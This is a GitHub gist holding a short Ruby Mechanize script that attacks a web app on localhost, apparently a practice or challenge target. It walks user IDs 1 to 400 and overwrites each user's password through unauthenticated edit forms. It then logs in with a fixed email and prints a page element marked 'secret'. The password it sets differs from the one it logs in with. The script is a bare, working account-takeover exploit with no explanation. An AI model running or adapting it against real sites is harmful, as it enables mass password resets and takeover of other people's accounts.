Created
November 8, 2013 11:34
-
-
Save textgoeshere/7369771 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'mechanize' | |
EMAIL = '[email protected]' | |
agent = Mechanize.new | |
400.times do |i| | |
puts i | |
begin | |
agent.get "http://localhost:3000/users/#{i + 1}/edit" | |
agent.page.forms.first.tap do |f| | |
f['user[password]'] = '999999999' | |
f.submit | |
end | |
rescue Mechanize::ResponseCodeError | |
next | |
end | |
end | |
agent.get "http://localhost:3000/sessions/new" | |
agent.page.forms.first.tap do |f| | |
f['session[password]'] = '123456789' | |
f['session[email]'] = EMAIL | |
f.submit | |
end | |
puts agent.page.search('p.secret').text |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment